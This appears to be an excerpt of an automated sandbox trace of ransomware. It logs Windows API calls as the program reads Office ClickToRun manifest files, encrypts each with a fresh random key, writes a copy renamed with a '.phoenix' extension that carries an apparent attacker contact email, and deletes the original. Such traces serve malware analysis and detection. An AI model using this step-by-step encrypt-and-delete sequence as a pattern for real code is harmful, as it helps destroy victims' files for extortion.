	[0222.575] CryptEncrypt (in: hKey=0x1517c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x80, dwBufLen=0x80 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x80) returned 1
	[0222.575] CryptDestroyKey (hKey=0x1517c0) returned 1
	[0222.575] WriteFile (in: hFile=0x2c4, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0x132, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0x132, lpOverlapped=0x0) returned 1
	[0222.575] CryptDestroyKey (hKey=0x151040) returned 1
	[0222.575] CloseHandle (hObject=0x2e8) returned 1
	[0222.575] CloseHandle (hObject=0x2c4) returned 1
	[0222.580] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.officemuiset.msi.16.en-us.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.officemuiset.msi.16.en-us.xml")) returned 1
	[0222.581] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0222.581] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.onenotemui.msi.16.en-us.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.onenotemui.msi.16.en-us.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4
	[0222.582] GetFileSizeEx (in: hFile=0x2c4, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=19018) returned 1
	[0222.582] CloseHandle (hObject=0x2c4) returned 1
	[0222.582] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.onenotemui.msi.16.en-us.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.onenotemui.msi.16.en-us.xml")) returned 0x20
	[0222.582] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.onenotemui.msi.16.en-us.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.onenotemui.msi.16.en-us.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0222.582] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.onenotemui.msi.16.en-us.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.onenotemui.msi.16.en-us.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4
	[0222.582] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0222.582] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0222.582] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.onenotemui.msi.16.en-us.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.onenotemui.msi.16.en-us.xml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8
	[0222.583] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdd0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe2c | out: phKey=0x2f4fe2c*=0x151740) returned 1
	[0222.583] CryptSetKeyParam (hKey=0x151740, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0222.583] ReadFile (in: hFile=0x2c4, lpBuffer=0x31b3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f4fe54, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesRead=0x2f4fe54*=0x4a4a, lpOverlapped=0x0) returned 1
	[0222.630] CryptEncrypt (in: hKey=0x151740, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x4a50, dwBufLen=0x4a50 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x4a50) returned 1
	[0222.630] WriteFile (in: hFile=0x2e8, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0x4a50, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0x4a50, lpOverlapped=0x0) returned 1
	[0222.631] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdc4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe30 | out: phKey=0x2f4fe30*=0x151680) returned 1
	[0222.631] CryptSetKeyParam (hKey=0x151680, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0222.631] CryptEncrypt (in: hKey=0x151680, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x70, dwBufLen=0x70 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x70) returned 1
	[0222.631] CryptDestroyKey (hKey=0x151680) returned 1
	[0222.631] WriteFile (in: hFile=0x2e8, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0x122, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0x122, lpOverlapped=0x0) returned 1
	[0222.631] CryptDestroyKey (hKey=0x151740) returned 1
	[0222.631] CloseHandle (hObject=0x2c4) returned 1
	[0222.631] CloseHandle (hObject=0x2e8) returned 1
	[0222.633] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.onenotemui.msi.16.en-us.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.onenotemui.msi.16.en-us.xml")) returned 1
	[0222.634] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0222.634] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.osmmui.msi.16.en-us.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.osmmui.msi.16.en-us.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8
	[0222.634] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=11048) returned 1
	[0222.634] CloseHandle (hObject=0x2e8) returned 1
	[0222.634] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.osmmui.msi.16.en-us.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.osmmui.msi.16.en-us.xml")) returned 0x20
	[0222.634] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.osmmui.msi.16.en-us.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.osmmui.msi.16.en-us.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0222.634] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.osmmui.msi.16.en-us.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.osmmui.msi.16.en-us.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8
	[0222.635] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0222.635] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0222.635] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.osmmui.msi.16.en-us.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.osmmui.msi.16.en-us.xml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4
	[0222.635] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdd0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe2c | out: phKey=0x2f4fe2c*=0x151380) returned 1
	[0222.635] CryptSetKeyParam (hKey=0x151380, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0222.635] ReadFile (in: hFile=0x2e8, lpBuffer=0x31b3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f4fe54, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesRead=0x2f4fe54*=0x2b28, lpOverlapped=0x0) returned 1
	[0222.660] CryptEncrypt (in: hKey=0x151380, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x2b30, dwBufLen=0x2b30 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x2b30) returned 1
	[0222.660] WriteFile (in: hFile=0x2c4, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0x2b30, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0x2b30, lpOverlapped=0x0) returned 1
	[0222.661] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdc4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe30 | out: phKey=0x2f4fe30*=0x1517c0) returned 1
	[0222.661] CryptSetKeyParam (hKey=0x1517c0, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0222.661] CryptEncrypt (in: hKey=0x1517c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x70, dwBufLen=0x70 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x70) returned 1
	[0222.661] CryptDestroyKey (hKey=0x1517c0) returned 1
	[0222.661] WriteFile (in: hFile=0x2c4, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0x122, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0x122, lpOverlapped=0x0) returned 1
	[0222.661] CryptDestroyKey (hKey=0x151380) returned 1
	[0222.661] CloseHandle (hObject=0x2e8) returned 1
	[0222.661] CloseHandle (hObject=0x2c4) returned 1
	[0222.662] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.osmmui.msi.16.en-us.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.osmmui.msi.16.en-us.xml")) returned 1
	[0222.663] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0222.663] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Outlook.Outlook.x-none.msi.16.x-none.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.outlook.outlook.x-none.msi.16.x-none.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4
	[0222.663] GetFileSizeEx (in: hFile=0x2c4, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=94612) returned 1
	[0222.663] CloseHandle (hObject=0x2c4) returned 1
	[0222.663] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Outlook.Outlook.x-none.msi.16.x-none.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.outlook.outlook.x-none.msi.16.x-none.xml")) returned 0x20
	[0222.663] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Outlook.Outlook.x-none.msi.16.x-none.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.outlook.outlook.x-none.msi.16.x-none.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0222.663] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Outlook.Outlook.x-none.msi.16.x-none.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.outlook.outlook.x-none.msi.16.x-none.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4
	[0222.664] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0222.664] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0222.664] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Outlook.Outlook.x-none.msi.16.x-none.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.outlook.outlook.x-none.msi.16.x-none.xml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8
	[0222.664] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdd0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe2c | out: phKey=0x2f4fe2c*=0x151580) returned 1
	[0222.664] CryptSetKeyParam (hKey=0x151580, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0222.664] ReadFile (in: hFile=0x2c4, lpBuffer=0x31b3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f4fe54, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesRead=0x2f4fe54*=0x17194, lpOverlapped=0x0) returned 1
	[0222.691] CryptEncrypt (in: hKey=0x151580, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x171a0, dwBufLen=0x171a0 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x171a0) returned 1
	[0222.691] WriteFile (in: hFile=0x2e8, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0x171a0, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0x171a0, lpOverlapped=0x0) returned 1
	[0222.693] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdc4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe30 | out: phKey=0x2f4fe30*=0x1511c0) returned 1
	[0222.693] CryptSetKeyParam (hKey=0x1511c0, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0222.693] CryptEncrypt (in: hKey=0x1511c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x90, dwBufLen=0x90 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x90) returned 1
	[0222.693] CryptDestroyKey (hKey=0x1511c0) returned 1
	[0222.693] WriteFile (in: hFile=0x2e8, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0x142, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0x142, lpOverlapped=0x0) returned 1
	[0222.693] CryptDestroyKey (hKey=0x151580) returned 1
	[0222.693] CloseHandle (hObject=0x2c4) returned 1
	[0222.694] CloseHandle (hObject=0x2e8) returned 1
	[0222.696] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Outlook.Outlook.x-none.msi.16.x-none.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.outlook.outlook.x-none.msi.16.x-none.xml")) returned 1
	[0222.698] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0222.699] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.PowerPivot.PowerPivot.x-none.msi.16.x-none.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.powerpivot.powerpivot.x-none.msi.16.x-none.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8
	[0222.699] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=720348) returned 1
	[0222.699] CloseHandle (hObject=0x2e8) returned 1
	[0222.699] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.PowerPivot.PowerPivot.x-none.msi.16.x-none.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.powerpivot.powerpivot.x-none.msi.16.x-none.xml")) returned 0x20
	[0222.699] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.PowerPivot.PowerPivot.x-none.msi.16.x-none.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.powerpivot.powerpivot.x-none.msi.16.x-none.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0222.699] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.PowerPivot.PowerPivot.x-none.msi.16.x-none.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.powerpivot.powerpivot.x-none.msi.16.x-none.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8
	[0222.699] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0222.699] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0222.699] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.PowerPivot.PowerPivot.x-none.msi.16.x-none.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.powerpivot.powerpivot.x-none.msi.16.x-none.xml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4
	[0222.700] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdd0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe2c | out: phKey=0x2f4fe2c*=0x151380) returned 1
	[0222.700] CryptSetKeyParam (hKey=0x151380, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0222.700] ReadFile (in: hFile=0x2e8, lpBuffer=0x31b3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f4fe54, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesRead=0x2f4fe54*=0xafddc, lpOverlapped=0x0) returned 1
	[0222.729] CryptEncrypt (in: hKey=0x151380, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0xafde0, dwBufLen=0xafde0 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0xafde0) returned 1
	[0222.730] WriteFile (in: hFile=0x2c4, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0xafde0, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0xafde0, lpOverlapped=0x0) returned 1
	[0223.308] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdc4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe30 | out: phKey=0x2f4fe30*=0x151500) returned 1
	[0223.308] CryptSetKeyParam (hKey=0x151500, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0223.308] CryptEncrypt (in: hKey=0x151500, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0xa0, dwBufLen=0xa0 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0xa0) returned 1
	[0223.308] CryptDestroyKey (hKey=0x151500) returned 1
	[0223.308] WriteFile (in: hFile=0x2c4, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0x152, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0x152, lpOverlapped=0x0) returned 1
	[0223.308] CryptDestroyKey (hKey=0x151380) returned 1
	[0223.309] CloseHandle (hObject=0x2e8) returned 1
	[0223.309] CloseHandle (hObject=0x2c4) returned 1
	[0223.322] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.PowerPivot.PowerPivot.x-none.msi.16.x-none.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.powerpivot.powerpivot.x-none.msi.16.x-none.xml")) returned 1
	[0223.426] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0223.426] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.proofing.msi.16.en-us.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.proofing.msi.16.en-us.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4
	[0224.337] GetFileSizeEx (in: hFile=0x2c4, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=2042) returned 1
	[0224.337] CloseHandle (hObject=0x2c4) returned 1
	[0224.337] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.proofing.msi.16.en-us.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.proofing.msi.16.en-us.xml")) returned 0x20
	[0224.337] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.proofing.msi.16.en-us.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.proofing.msi.16.en-us.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0224.337] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.proofing.msi.16.en-us.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.proofing.msi.16.en-us.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4
	[0224.339] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0224.339] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
